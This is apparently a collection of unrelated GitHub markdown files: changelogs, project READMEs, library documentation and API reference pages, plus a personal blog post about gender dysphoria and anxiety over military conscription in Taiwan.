### Bug Fixes

* **libton-script:** fix eslintrc ([da185db](https://github.com/libton-project/libton/commit/da185db27cf9de9c81bf96f9530fc8ebef1dd561))

# [0.12.0](https://github.com/libton-project/libton/compare/v0.11.3...v0.12.0) (2019-12-28)

### Bug Fixes

* **libton-script:** fix babel config pnpm ([a6f340c](https://github.com/libton-project/libton/commit/a6f340c56fe825636946bfcc50d987ff220b332f))
* upgrade dependencies ([d1df86e](https://github.com/libton-project/libton/commit/d1df86e7df93ed6895f8cff689dd19034ce65600))

### Features

* **libton-script:** clean files before build ([cb8b915](https://github.com/libton-project/libton/commit/cb8b9156ccb992842b242ac7610a8921120837b4))

## [0.11.3](https://github.com/libton-project/libton/compare/v0.11.2...v0.11.3) (2019-11-03)

### Bug Fixes

* upgrade dependencies ([744bc56](https://github.com/libton-project/libton/commit/744bc5693209b36e78345ec3a575db1d32477090))

## [0.11.2](https://github.com/libton-project/libton/compare/v0.11.1...v0.11.2) (2019-10-12)

### Bug Fixes

* **libton-script:** fix generated package documentation ([498ebce](https://github.com/libton-project/libton/commit/498ebce))

## [0.11.1](https://github.com/libton-project/libton/compare/v0.11.0...v0.11.1) (2019-10-09)

### Bug Fixes

* **libton-script:** fix regeneratorRuntime error for common js build ([e8c5a45](https://github.com/libton-project/libton/commit/e8c5a45))
* **libton-script:** support jsx in test files ([7f7aec1](https://github.com/libton-project/libton/commit/7f7aec1))

# [0.11.0](https://github.com/libton-project/libton/compare/v0.11.0-alpha.1...v0.11.0) (2019-10-07)

**Note:** Version bump only for package libton-script

# [0.11.0-alpha.0](https://github.com/libton-project/libton/compare/v0.10.2...v0.11.0-alpha.0) (2019-10-02)

### Features

* **libton-script:** support re-export types ([a9fe1a5](https://github.com/libton-project/libton/commit/a9fe1a5))

## [0.10.2](https://github.com/libton-project/libton/compare/v0.10.1...v0.10.2) (2019-09-29)

**Note:** Version bump only for package libton-script

# [0.10.0](https://github.com/libton-project/libton/compare/v0.9.2...v0.10.0) (2019-09-29)

### Features

* **libton-script:** add doc command ([42e3012](https://github.com/libton-project/libton/commit/42e3012))

## [0.9.2](https://github.com/libton-project/libton/compare/v0.9.1...v0.9.2) (2019-09-26)

### Bug Fixes

* **libton-script:** fix regeneratorRuntime error for cli build ([5317148](https://github.com/libton-project/libton/commit/5317148))
* upgrade dependencies ([1a9ff3a](https://github.com/libton-project/libton/commit/1a9ff3a))

## [0.9.1](https://github.com/libton-project/libton/compare/v0.9.0...v0.9.1) (2019-09-23)

**Note:** Version bump only for package libton-script

# [0.9.0](https://github.com/libton-project/libton/compare/v0.8.0...v0.9.0) (2019-09-23)

### Features

* **libton-script:** use cosmiconfig for reading libton config ([81ad1ba](https://github.com/libton-project/libton/commit/81ad1ba))

# [0.8.0](https://github.com/libton-project/libton/compare/v0.7.0...v0.8.0) (2019-09-23)

### Bug Fixes

* upgrade dependencies ([6869c88](https://github.com/libton-project/libton/commit/6869c88))

# 0.7.0 (2019-09-20)

### Bug Fixes

- **libton-script:** handle unhandledRejection in build script ([3bcdad1](https://github.com/libton-project/libton/commit/3bcdad1))
- **libton-script:** improve generated index.d.ts ([36b0901](https://github.com/libton-project/libton/commit/36b0901))
- remove husky from packages ([a50cb61](https://github.com/libton-project/libton/commit/a50cb61))

### Features

- **libton-script:** add empty build and test scripts ([a750757](https://github.com/libton-project/libton/commit/a750757))
- **libton-script:** add eslint to verify script ([2729282](https://github.com/libton-project/libton/commit/2729282))
- **libton-script:** add prettier to verify script ([c5d38f7](https://github.com/libton-project/libton/commit/c5d38f7))
- **libton-script:** add verify script ([cd7eb7a](https://github.com/libton-project/libton/commit/cd7eb7a))
- **libton-script:** format index.d.ts file after build ([4ed077d](https://github.com/libton-project/libton/commit/4ed077d))
- **libton-script:** generate index.d.ts in build process ([7054314](https://github.com/libton-project/libton/commit/7054314))
- **libton-script:** implement build script ([651c922](https://github.com/libton-project/libton/commit/651c922))
- **libton-script:** implement test script ([b7ab6f5](https://github.com/libton-project/libton/commit/b7ab6f5))
- **libton-script:** improve format command ([68eac01](https://github.com/libton-project/libton/commit/68eac01))
- **libton-script:** init libton-script package ([7c6efb9](https://github.com/libton-project/libton/commit/7c6efb9))
- **libton-script:** support bin in build command ([6aa5bbf](https://github.com/libton-project/libton/commit/6aa5bbf))

repository: libton-project/libton

repo_name: libton-project/libton


text:
# Java-Kotlin Fall 2020 Final Project

## Description of the Project

---

- Use Java or Kotlin to "solve a problem"
- Demonstrate its use and provide screenshots of the working project

## Description of the Accounting App

---

The accounting application will allow for basic bookkeeping to take place. The app lets the user to add new accounts with existing amounts, make transactions using the accounts, and view a generated balance sheet. The app manages all of the math involved with some of the tricky accounting principles so the user just has to keep track of which accounts are being used.

## Link to Video

---
- [Zoom Link](https://coloradomesa.zoom.us/rec/share/JtBrlMokPSUXBco36xCroUEZLrS-oQdcEwxQ8hL4-HUDIZcgZHpY2dgJk2FkrrJ8.su5sZxnlpOTIbieR?startTime=1607011731000)


text:
# Sample usage using Node.js

### Authorization

This sample uses [telenor-auth-library](https://github.com/TelenorNorway/auth-library) to implement the OAuth 2.0 authentication. Consult the code in the auth-library for further information on how Authorization Code Grant type works.

### Retrieve user info

Method: `getUserInfo()` [./libs/mobileuserinfo.js]

This method performs a request on the user-info API and returns a Promise. The returned object contains the user information if succeeded.

repository: TelenorNorway/api-samples

repo_name: TelenorNorway/api-samples


text:
---
title:  "Struggling with Gender Dysphoria"
categories: rambling
excerpt: "Male? Female? I don't know anymore."
tags: mental-health en-us
gallery:
  - url: /assets/images/posts/struggles-with-gender-dysphoria/EDFC64478D7DE6DE5C931B8BAE7854B54603231FC59CBBE057AC406A89487A23.jpg
    image_path: /assets/images/posts/struggles-with-gender-dysphoria/EDFC64478D7DE6DE5C931B8BAE7854B54603231FC59CBBE057AC406A89487A23.jpg
  - url: /assets/images/posts/struggles-with-gender-dysphoria/AA33810D60310037057C3153CD0957950310B62C2C3FC667F8F381A0F70B9C5E.jpg
    image_path: /assets/images/posts/struggles-with-gender-dysphoria/AA33810D60310037057C3153CD0957950310B62C2C3FC667F8F381A0F70B9C5E.jpg
  - url: /assets/images/posts/struggles-with-gender-dysphoria/9D62219F1E3BCB720F619C901EDA24B2D3171BC1F5B511BBBE2A75E9E6EAA260.jpg
    image_path: /assets/images/posts/struggles-with-gender-dysphoria/9D62219F1E3BCB720F619C901EDA24B2D3171BC1F5B511BBBE2A75E9E6EAA260.jpg
header:
  overlay_color: "#000"
  overlay_filter: "0.75"
  overlay_image: /assets/images/posts/struggles-with-gender-dysphoria/65A0477DBF9713A0AB4DEC07A8C086441058C9AC36779542214536EF0C8EEA14.jpg
---

Junior high was the darkest time of my life. I was bullied heavily at school because of my personal hygiene (or lack thereof) and various family-related issues. My family had always fought over one thing or another. I had an abusive pedo girlfriend who was much older than I was. That was why I enjoyed every little moment that I shared with others who weren't actively trying to hurt me in one way or another.

I've always enjoyed talking to girls compared to talking to guys - and I don't just mean because I want to get laid or anything weird like that - I just felt like I clicked with them better. Most girls at the time, of course, weren't willing to talk to me because I'm just not an interesting guy and was super awkward. All that that was going through my mind was, "What if I were a girl? Would that make me blend in easier?"

![おとなしい良い子](/assets/images/posts/struggles-with-gender-dysphoria/65A0477DBF9713A0AB4DEC07A8C086441058C9AC36779542214536EF0C8EEA14.jpg){: .align-center}
*おとなしい良い子 by [@avogado6](https://twitter.com/avogado6/)*
{: .text-center}

I... forgot the specific details, but I remember hanging out with few girls who were, at the very least, willing to talk to me. I remember telling this one girl, when I was late into junior high, that I wished I were a girl. I wanted to get an SRS (Sex Reassignment Surgery) done. You, the reader, probably guessed that I never went through with that plan.  Old conversation](/assets/images/posts/struggles-with-gender-dysphoria/7831BC5521D0AD87553F8AEA147E8DDF5DEA5155AD0E870E754F799494EC2FBA.png){: .align-center}
*A snippet of conversation that took place in 2013, when I was 15.*
{: .text-center}

What was then a simple and innocent idea has followed me for decades to come. The idea of being a girl followed me whenever topics related to gender, sex, and whatnot popped up. It never left.

I like being with girls, but because of my physical sex, it's challenging to have a "normal" sleepover without making it weird or getting weird looks from their parents.

かわいいが好き](/assets/images/posts/struggles-with-gender-dysphoria/2B79EA55708AC5F408AA587978AFF2C680381CBA4AB33D6B14B1F5636B0FF434.jpg){: .align-center}
*かわいいが好き by [@avogado6](https://twitter.com/avogado6/)*
{: .text-center}

The idea of liking anime and having cute collectibles? Absolute non-sense. Guys shouldn't be into things like this. It'd just make you look like a creep and a closet pervert.

{% include gallery caption="*My laptop, room, and figures I'd like to buy if I didn't get weird looks from others.*" %}

I like many traits that would make a "female" attractive, but it just... wouldn't work. Writing this actually makes me feel mentally drained and depressed - that's how much it affects me. It makes me genuinely hate my life and wish that I could start over again.

![男](/assets/images/posts/struggles-with-gender-dysphoria/6E411D13547139C6A3D9680D36581A7AA94424B668D0686229EAA7DE5D451496.jpg){: .align-center}
*男 by [@avogado6](https://twitter.com/avogado6/)*
{: .text-center}

A few years back, I learned of the term "Gender Dysphoria." I knew that there had got to be a term for what I'm experiencing right then, but I did not know what it was called.  That person would have an intense desire to have a female body and to be accepted by others as a female. Or someone with the physical characteristics of a female would feel her true identity is male.
>
> \- [WebMD](https://www.webmd.com/sex/gender-dysphoria)

This perfectly describes me. Yet, it's not like I can do anything about it.  First of all, can you imagine all the financial burdens that one would have to go through just to get all that done? I just... can't justify it. Second, it's just... still not the same. I could poke and prod with my body all I want, but in the end, I still have a build of a man, the voice of a man, features of a man.

![下校途中](/assets/images/posts/struggles-with-gender-dysphoria/99271ECD657D1098755EA6D2216373C89BF4E2FA0C99773E3F2ED4DBE8B26FBF.jpg){: .align-center}
*下校途中 by [@avogado6](https://twitter.com/avogado6/)*
{: .text-center}

Earlier this year, I had to deal with the compulsory conscription service in Taiwan. Essentially, all adults are legally required to serve in the military for a while in Taiwan. The idea of which is impossible for someone who has severe social anxiety, and, in general, hate to be with large groups of male. This further added to my anxiety. You might think, "What's the big deal? It's just military service." The fear and stress I get from the idea of conscription are beyond the physical limits of my body, but also the idea of being trapped in an environment that I don't want to be in. If you don't understand where I'm coming from, just try to think of it from the perspective of a girl who has to be in a boy school for an extensive period of time. It's just... not great. I'm still in the middle of getting a psychiatric evaluation, which will take place in late August this year, which would ultimately determine whether or not I need to fulfill the conscription.

All of this plus all the other stress in life... What's there to do? I don't know. I... don't know.

I'm still me. There's no way around it.


text:
---
title: Wildcard permissions
weight: 3
---

Wildcard permissions can be enabled in the permission config file:

```php
// config/permission.php
'enable_wildcard_permission' => true,
```

When enabled, wildcard permissions offers you a flexible representation for a variety of permission schemes. The idea
 behind wildcard permissions is inspired by the default permission implementation of
 [Apache Shiro](https://shiro.apache.org/permissions.html).

A wildcard permission string is made of one or more parts separated by dots (.).

```php
$permission = 'posts.create.1';
```

The meaning of each part of the string depends on the application layer.

> You can use as many parts as you like. So you are not limited to the three-tiered structure, even though
this is the common use-case, representing {resource}.{action}.{target}.

### Using Wildcards

Each part can also contain wildcards (*). So let's say we assign the following permission to a user:

```php
$user->givePermissionTo('posts.*');
// is the same as
$user->givePermissionTo('posts');
```

Everyone who is assigned to this permission will be allowed every action on posts. It is not necessary to use a
wildcard on the last part of the string. This is automatically assumed.

```php
// will be true
$user->can('posts.create');
$user->can('posts.edit');
$user->can('posts.delete');
```

### Subparts

Besides the use of parts and wildcards, subparts can also be used. Subparts are divided with commas (,). This is a
powerful feature that lets you create complex permission schemes.

```php
// user can only do the actions create, update and view on both resources posts and users
$user->givePermissionTo('posts,users.create,update,view');

// user can do the actions create, update, view on any available resource
$user->givePermissionTo('*.create,update,view');

// user can do any action on posts with ids 1, 4 and 6
$user->givePermissionTo('posts.*.1,4,6');
```

> As said before, the meaning of each part is determined by the application layer! So, you are free to use each part as you like. And you can use as many parts and subparts as you want.


text:
---
title: "getAdditionalEmails"
description: "Retrieve a portal user's additional email addresses. These email addresses are contacted when updates are made to suppor... "
layout: "method"
tags:
    - "method"
    - "sldn"
    - "User"
classes:
    - "SoftLayer_User_Customer"
aliases:
    - "/reference/services/softlayer_user_customer/getAdditionalEmails"
---
# [SoftLayer_User_Customer](/reference/services/SoftLayer_User_Customer)::getAdditionalEmails

Retrieve a portal user's additional email addresses. These email addresses are contacted when updates are made to support tickets.

## Overview
Retrieve a portal user's additional email addresses. These email addresses are contacted when updates are made to support tickets.

-----

### Parameters
|Name | Type | Description |
| --- | --- | --- |

### Required Headers
* SoftLayer_User_CustomerInitParameters
* authenticate

### Optional Headers
* SoftLayer_User_CustomerObjectMask
* SoftLayer_User_CustomerObjectFilter
* resultLimit
* SoftLayer_ObjectMask

### Return Values
* <a href='/reference/datatypes/SoftLayer_User_Customer_AdditionalEmail'>SoftLayer_User_Customer_AdditionalEmail[] </a>

gha_license_id: NOASSERTION


text:
## BrightSign Player

### Using BrightAuthor
When using BrightAuthor you can setup any custom command you like, see [BrightSign video](https://www.brightsignnetwork.com/download/Videos/Amx-Crestron-Control-1.m4v) for explanation on how to do that. Make sure you set the same UDP port as in the presentation preferences.

* Use CUSTOM as command to send a custom UDP message

### Using a scriptfile
Download the script [here](https://www.brightsignnetwork.com/download/Scripts/control_script_latest.zip) and put it on a flashcard with your video files. Adjust the networksettings in the script!

**Available commands for BrightSign, when using the scriptfile**

* CUSTOM ability to send a custom UDP message
* PAUSE
* RESUME
* REBOOT
* STOP
* STOP and clear screen
* PLAY [filename]
* PLAY and clear screen [filename]
* LOOP [filename]
* LOOP Loop seamless (no audio in video) [filename]
* SEARCH - Check if file is present [filename]
* VOLUME - Set Volume in percentage


text:
# Troubleshooting
---
If you make changes directly to the Laratrust tables and when you run your code the changes are not reflected, please clear your application cache using::

```bash
php artisan cache:clear
```

Remember that Laratrust uses cache in the roles and permissions checks.

---
If you want to use the `Authorizable` trait you have to do:

```php
use Authorizable {
    Authorizable::can insteadof LaratrustUserTrait;
    LaratrustUserTrait::can as laratrustCan;
}
```

And then replace all the uses of `can` with `hasPermission` or `isAbleTo`.

::: tip NOTE
If you use the `Laratrust::can` facade method you don't have to change this method because it calls the `hasPermission` method.
:::

---

If you encounter an error when doing the migration that looks like::
```log
SQLSTATE[HY000]: General error: 1005 Can't create table 'laravelbootstrapstarter.#sql-42c_f8' (errno: 150)
    (SQL: alter table `role_user` add constraint role_user_user_id_foreign foreign key (`user_id`)
    references `users` (`id`)) (Bindings: array ())
```

Then it is likely that the `id` column in your user table does not match the `user_id` column in `role_user`.
Make sure both are `INT(10)`.

---

When trying to use the LaratrustUserTrait methods, you encounter the error which looks like::

    Class name must be a valid object or a string

Then probably you do not have published Laratrust assets or something went wrong when you did it.
First of all check that you have the `laratrust.php` file in your `app/config` directory.
If you don't, then try `php artisan vendor:publish` and, if it does not appear, manually copy the `/vendor/santigarcor/laratrust/src/config/config.php` file in your config directory and rename it `laratrust.php`.

---

repository: santigarcor/laratrust

gha_language: PHP

repo_name: santigarcor/laratrust


text:
# What is an entity?

An entity is very similar to the concept of a [resource](https://linkedin.github.io/rest.li/user_guide/restli_server#writing-resources) in [rest.li](http://rest.li/).
Generally speaking, an entity should have a defined [URN](urn.md) and a corresponding
[CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) API for the metadata associated with a particular instance of the entity. A particular instance of an entity is essentially a node in the [metadata graph](graph.md).

![metadata-modeling](../imgs/metadata-modeling.png)

In the above example graph, `Dataset`, `User`, and `Group` are entities. A specific dataset, e.g. `/data/tracking/PageViewEvent`, is an instance of `Dataset` entity, much like how the LDAP group `datahub-dev` is an instance of Group entity.

Unlike rest.li, there’s no concept of sub-entity ([sub-resource](https://github.com/linkedin/rest.li/wiki/Rest.li-User-Guide#sub-resources) in rest.li).
In other words, entities are always top-level and non-nesting. Instead, nestedness is modeled using relationships,
e.g. `Contains`, `IsPartOf`, `HasA`, which is covered in the [Relationship](relationship.md) section.

Entities may also contain attributes, which are in the form of key-value pairs.
Each attribute is indexed to support fast attribute-based querying,
e.g. find all the `User`s that have the job title `Software Engineer`.
There may be a size limitation on the value imposed by the underlying indexing system,
but it suffices to assume that the values should kept at relatively small in size, say less than 1KB.

The value of each attribute is expected to be derived from either the entity’s URN or
from the metadata associated with the entity. Another way to understand the attributes of an entity is to treat them as a complex virtual view over the URN and metadata with indexing support on each column of the view. Just like a virtual view where one is not supposed to store data in the view directly, but to derive it from the underlying tables, the value for the attributes should also be derived. How the actual derivation happens is covered in the [Metadata Serving](../architecture/architecture.md#metadata-serving) section.

There’s no need to explicitly create or destroy entity instances. An entity instance will be automatically created in the graph whenever a new relationship involving the instance is formed, or when a new metadata aspect is attached to the instance.
Each entity has a special boolean attribute `removed`, which is used to mark the entity as `soft deleted`,
without destroying existing relationships and attached metadata. This is useful for quickly reviving an incorrectly deleted entity instance without losing valuable metadata, e.g. human authored content.

An example schema for the `Dataset` entity is shown below. Note that:
1. Each entity is expected to have a `urn` field with an entity-specific URN type.
2. The optional `removed` field is captured in BaseEntity, which is expected to be included by all entities.
3. All other fields are expected to be of primitive types or enum only.
While it may be possible to support other complex types, namely array, union, map, and record,
this mostly depends on the underlying indexing system. For simplicity, we only allow numeric or string-like values for now.
4. The `urn` field is non-optional, while all other fields must be optional.
This is to support `partial update` when only a selective number of attributes need to be altered.

```json
{
  "type": "record",
  "name": "BaseEntity",
  "namespace": "com.linkedin.metadata.entity",
  "doc": "Common fields that apply to all entities",
  "fields": [
    {
      "name": "removed",
      "type": "boolean",
      "doc": "Whether the entity has been removed or not",
      "optional": true,
      "default": false
    }
  ]
}
```

```json
{
  "type": "record",
  "name": "DatasetEntity",
  "namespace": "com.linkedin.metadata.entity",
  "doc": "Data model for a dataset entity",
  "include": [
    "BaseEntity"
  ],
  "fields": [
    {
      "name": "urn",
      "type": "com.linkedin.common.DatasetUrn",
      "doc": "Urn of the dataset"
    },
    {
      "name": "name",
      "type": "string",
      "doc": "Dataset native name",
      "optional": true
    },
    {
      "name": "platform",
      "type": "com.linkedin.common.DataPlatformUrn",
      "doc": "Platform urn for the dataset.",
      "optional": true
    },
    {
      "name": "fabric",
      "type": "com.linkedin.common.FabricType",
      "doc": "Fabric type where dataset belongs to.",
      "optional": true
    }
  ]
}
```

repository: clojurians-org/simple-datahub

repo_name: clojurians-org/simple-datahub


text:
# Integrated Workflow Bundle

This bundle will intergrate workflow into the content bundle. The bundle is still work in progess so
for now this readme will only contain instructions to get the bundle workin.

## Installation ##

The following thing should be done in any order but I would recommend doing the first one first or
else you get errors when adding the entities.

* Add the bundle to the AppKernel
* Add the routing

	intergrated_workflow:
		resource<EMAIL_ADDRESS>
* The bundle got entities so execute the Doctrine commands

	php bin/console doctrine:schema:update

* There are no config options for now but it is recommend to add this to the security config

    access_decision_manager:
        # strategy can be: affirmative, unanimous or consensus
        strategy: unanimous

Well that is it.

## Scheduled Tasks ##

The console command **workflow:worker:run** is recommanded to be scheduled to run atleast **once every
minute**. This needs to be done to done to make sure that changed to workflows reflect into the reindex
of the affected content.

**Pro tip:** activate the quiet mode to suppress output.

repository: integratedfordevelopers/integrated

repo_name: integratedfordevelopers/integrated


text:
baserCMS
==========
![baserCMS](http://basercms.net/img/basercms_logo.png)

Based Website Development Project
Copyright 2008 - 2015, baserCMS Users Community

Documentation
-------------

- See [baserCMS Official](http://basercms.net/)
- See [baserCMS Users Community](http://basercms.net/community)
- See [baserCMS Users Manual](http://doc.basercms.net/)
- See [baserCMS Official Wiki](http://wiki.basercms.net/)
- See [baserCMS Creators Manual](http://basercms.net/manuals/3/index)
- See [baserCMS Customize Guideline](http://basercms.net/manuals/customize_guideline)
- See [baserCMS Specifications](https://github.com/baserproject/basercms-docs)
- See [baserCMS Users Forum](http://forum.basercms.net/)
- See [baserCMS Core Development Project](http://project.e-catchup.jp/projects/basercms)
- See [CakePHP - the rapid development PHP framework](http://cakephp.jp)

Contributing
-------------

- See [CONTRIBUTING.md](https://github.com/baserproject/basercms/blob/master/CONTRIBUTING.md)

License
-------

Licensed under the MIT license since version 2.0

[![Build Status](https://travis-ci.org/baserproject/basercms.svg?branch=dev-3)](https://travis-ci.org/baserproject/basercms)

repository: goichi-m/basercms

repo_name: goichi-m/basercms


text:
Express group routes
--------------------

> Simple way to group your routes in Express.

Using this module you can easily create route groups in ExpressJS. It transforms the following code:

```javascript
var app = require('express');
var router1 = app.Router();
router1.use("/api/v1", () => {})
...
var router1_1 = router1.Router();
...
var router2 = app.Router();
...
```

into:

```javascript
var app = require('express');
require('express-group-routes');

app.group("/api/v1", (router) => {
    // Router1
    router.group((router) => { /* Router1_1 */ });
});

app.group(() => { /* Router2 */ });
```

##Quick start

If you want to prefix all routes with a certain URL you can use the `group` method as following:

```javascript
var app = require('express');
require('express-group-routes');

app.group("/api/v1", (router) => {
    router.get("/login", loginController.store); // /api/v1/login
});
```

In case you don't want to add a prefix but still need to group certain routes you can leave the first parameter and go straight for the function:

```javascript
var app = require('express');
require('express-group-routes');

app.group((router) => {
    router.use(middleware);
});
```

## Real world example

The code below is used in one of my projects and shows you how you can use this simple module to write (in my opinion) cleaner code.

```javascript
router.group("/api/v1", function(router) {
    // Public available endpoints
    router.post("/login", controller("LoginController#login"));
    router.post("/registration", controller("RegistrationController#create"));

    router.group(function(router){
        // Make sure all routes in this group use authentication
        router.use(authentication);

        router.get("/user/me", controller("UserController#me"));
    });
});
```

#License

MIT

repository: razorxan/express-group-routes

repo_name: razorxan/express-group-routes


text:
[![](https://raw.githubusercontent.com/stoplightio/spectral/develop/docs/img/readme-header.svg)](https://stoplight.io/api-governance?utm_source=github&utm_medium=spectral&utm_campaign=readme)
[![CircleCI](https://img.shields.io/circleci/build/github/stoplightio/spectral/develop)](https://circleci.com/gh/stoplightio/spectral) [![NPM Downloads](https://img.shields.io/npm/dw/@stoplight/spectral-cli?color=blue)](https://www.npmjs.com/package/@stoplight/spectral-cli) [![Stoplight Forest](https://img.shields.io/ecologi/trees/stoplightinc)][stoplight_forest]

- **Custom Rulesets**: Create custom rules to lint JSON or YAML objects
- **Ready-to-use Rulesets**: Validate and lint **OpenAPI v2 & v3** and **AsyncAPI** Documents
- **JSON Path Support**: Use JSON path to apply rules to specific parts of your objects
- **Ready-to-use Functions**: Built-in set of functions to help [create custom rules](https://meta.stoplight.io/docs/spectral/docs/guides/4-custom-rulesets.md#adding-rules). Functions include pattern checks, parameter checks, alphabetical ordering, a specified number of characters, provided keys are present in an object, etc.
- **Custom Functions**: Create custom functions for advanced use cases
- **JSON Validation**: Validate JSON with [Ajv](https://www.npmjs.com/package/ajv)

![Spectral linting an OpenAPI document from the CLI with results being output](https://raw.githubusercontent.com/stoplightio/spectral/develop/docs/img/demo.svg)

# Overview

- [Installation and Usage](#-installation-and-Usage)
- [Documentation and Community](#-documentation-and-community)
- [FAQs](#-faqs)
- [Contributing](#-contributing)

## 🧰 Installation and Usage

**Install**

```bash
npm install -g @stoplight/spectral-cli

# OR

yarn global add @stoplight/spectral-cli
```

Find more [installation methods](https://meta.stoplight.io/docs/spectral/docs/getting-started/2-installation.md) in our documentation.

**Lint**

```bash
spectral lint petstore.yaml
```

## 📖 Documentation and Community

- [Documentation](https://meta.stoplight.io/docs/spectral/ZG9jOjYyMDc0Mg-concepts)
  - [Getting Started](https://meta.stoplight.io/docs/spectral/ZG9jOjYyMDc0Mg-concepts) - The basics concepts, what Spectral is about.
  - [Using the Command-line Interface](https://meta.stoplight.io/docs/spectral/ZG9jOjI1MTg1-spectral-cli) - Learn how the command line interface works.
  - [Continuous Integration](https://meta.stoplight.io/docs/spectral/ZG9jOjExNTMyOTAx-continuous-integration) - Spectral CLI can be run anywhere that NPM packages can be installed and run via CLI.
  - [Custom Rulesets](https://meta.stoplight.io/docs/spectral/ZG9jOjI1MTg5-custom-rulesets) - Don't like our rules? Throw 'em out and make your own.
  - [Custom Functions](https://meta.stoplight.io/docs/spectral/ZG9jOjI1MTkw-custom-functions) - When the core functions are not enough to solve a problem, you can write custom functions to do _anything_.

## ℹ Support

If you need help using Spectral or have a support question, please use [GitHub Discussions](https://github.com/stoplightio/spectral/discussions). It's also a great place to share your rulesets, or tools that leverage Spectral.

If you have a bug or feature request, please [create an issue](https://github.com/stoplightio/spectral/issues).

## ❓ FAQs

### How is this different to Ajv

[Ajv](https://www.npmjs.com/package/ajv) is a JSON Schema validator, and Spectral is a JSON/YAML linter. Instead of just validating against JSON Schema, it can be used to write rules for any sort of JSON/YAML object, which could be JSON Schema, or OpenAPI, or anything similar. Spectral does expose a [`schema` function](https://meta.stoplight.io/docs/spectral/docs/reference/functions.md) that you can use in your rules to validate all or part of the target object with JSON Schema (we even use Ajv used under the hood for this), but that's just one of many functions.

### I want to lint my OpenAPI documents but don't want to implement Spectral right now.

No problem! A hosted version of Spectral comes **free** with the Stoplight platform. Sign up for a free account [here](https://stoplight.io/?utm_source=github&utm_medium=spectral&utm_campaign=readme).

### What is the difference between Spectral and Speccy

[Speccy](https://github.com/wework/speccy) was a great inspiration for Spectral, but was designed to work only with OpenAPI v3. Spectral can apply rules to _any_ JSON/YAML object (including OpenAPI v2/v3 and AsyncAPI). It's mostly been abandoned now, and is JavaScript not TypeScript.

## ⚙ Integrations

- [Stoplight Studio](https://stoplight.io/studio?utm_source=github&utm_medium=spectral&utm_campaign=readme) uses Spectral to validate and lint OpenAPI documents.
- [Spectral GitHub Action](https://github.com/stoplightio/spectral-action), lints documents in your repo, built by [Vincenzo Chianese](https://github.com/XVincentX/).
- [VS Code Spectral](https://github.com/stoplightio/vscode-spectral), all the power of Spectral without leaving VS Code.

## 🏁 Help Others Utilize Spectral

If you're using Spectral for an interesting use case, [contact<EMAIL_ADDRESS>for a case study. We'll add it to a list here. Spread the goodness 🎉

## 👏 Contributing

If you are interested in contributing to Spectral, check out [CONTRIBUTING.md](CONTRIBUTING.md).

## 🎉 Thanks

- [Mike Ralphson](https://github.com/MikeRalphson) for kicking off the Spectral CLI and his work on Speccy
- [Jamund Ferguson](https://github.com/xjamundx) for JUnit formatter
- [Sindre Sorhus](https://github.com/sindresorhus) for Stylish formatter
- [Ava Thorn](https://github.com/amthorn) for the Pretty formatter
- Julian Laval for HTML formatter
- [@nulltoken](https://github.com/nulltoken) for a whole bunch of amazing features

## 📜 License

Spectral is 100% free and open-source, under [Apache License 2.0](LICENSE).

## 🌲 Sponsor Spectral by Planting a Tree

If you would like to thank us for creating Spectral, we ask that you [**buy the world a tree**][stoplight_forest].

[stoplight_forest]: https://ecologi.com/stoplightinc

repository: stoplightio/spectral

branch_name: refs/heads/develop

repo_name: stoplightio/spectral


text:
# Mass File String replacer

Simple 135 line script to replace strings (variables) among many files with a YAML config. Perfect for any CI\CD like in a Dockerfile or a pre-build etc.

# How to use:
`[env1="Environment Value"] python3 mass_string_replacer.py "path\to\yaml" [--wet] [--silent] [--backup]`

1. Install yaml from [PyYAML](http://pyyaml.org/wiki/PyYAMLDocumentation) for python with `pip[3] install PyYaml`
2. Flags:
    * `--wet` Replace data in files. Otherwise just print result to stdout (dry-run)
    * `--silent` Don't print any processing info to stdout
    * `--backup` Keep backup of original file so you can replace again (good if used inside a docker with mounted files)
3. Order of execution in each file, for advanced usage:
    * `text` replace
    * `regex` replace
    * `vars` replace (try to find locally before loading from env)
    * `randoms` replace

# Examples:

Given example YAML file:

```yaml
randomseed:<PHONE_NUMBER>38 # Optional Number seed for all random

randoms:
    secret1:
        source: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()"
        length: 20
    secret2:
        source: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()"
        length: 20
        remember: true # Between files, in same file always.

vars:
    v1 : "I am var 1"
    v2 : "I am var 2"

# Actions are executed by array order
# Variable\randoms will replace "~{v1}" by v1
actions:
    -   path: "./source.txt"
        text:
            "SOME_VAR"  : "<Simple Text \"Replace\">"
            DOUBLE_VAR : "~{v1}" # Var are evaluated after text
        regex:
            "[0-9]{9,12}": "<Telephone Cencored>"
        vars: # also, Env variables
            - v1
            - v2
            - v3 # Won't find
            - env1 # Will be read from env if exists
        randoms:
            - secret1
            - secret2
    -   path: "./source2.txt"
        vars:
            - v1
        randoms:
            - secret1
            - secret2
    #-   path: "./*.txt" # pattern supported by glob.glob() function
```

Assuming using these 2 files:

* source.txt
```
1) Read from environment: ~{env1}
2) v1 : ~{v1}
3) v2 : ~{v2}
4) replace other format : SOME_VAR
5) Make secrets\pass on the go : "~{secret1}"
5.1) Make secrets\pass and remember between files : "~{secret2}"
6) Ooops, My telephone is:<PHONE_NUMBER>99
7) Double replace DOUBLE_VAR
```

* source2.txt
```
Just replace ~{v1}
Remember secret? "~{secret2}"
```

Given environment variable `env1="Im env1!!"` The dry-run result will look like:
```
[*] Procesing file './source.txt'
[*] Can't find variable/env named 'v3'
[*] Result:
1) Read from environment: "Im env1!!"
2) v1 : I am var 1
3) v2 : I am var 2
4) replace other format : <Simple Text "Replace">
5) Make secrets\pass on the go : "!z#Hjv^D1JsbC8oAa@QQ"
5.1) Make secrets\pass and remember between files : "OgHNpXjtL)76vXPU7pIX"
6) Ooops, My telephone is: <Telephone Cencored>
7) Double replace I am var 1

[*] Procesing file './source2.txt'
[*] Result:
Just replace I am var 1
Remember secret? "OgHNpXjtL)76vXPU7pIX"
```

repository: yonixw/MassFileStringReplacer

repo_name: yonixw/MassFileStringReplacer


text:
# larp-video-chat

Do you want to easily deploy a video chat system in your LARP? And to costumize it too? Take a look here!

# What is it?

Imagine a skype you can use anywhere & anytime in your LARP, without having to worry about internet connection or call quality!
And you can personalize it as well!

# How does it work?

Based on the WebRTC standard (https://webrtc.org/) and the RTCMultiConnection implementation (https://github.com/muaz-khan/RTCMultiConnection).

# It is true?

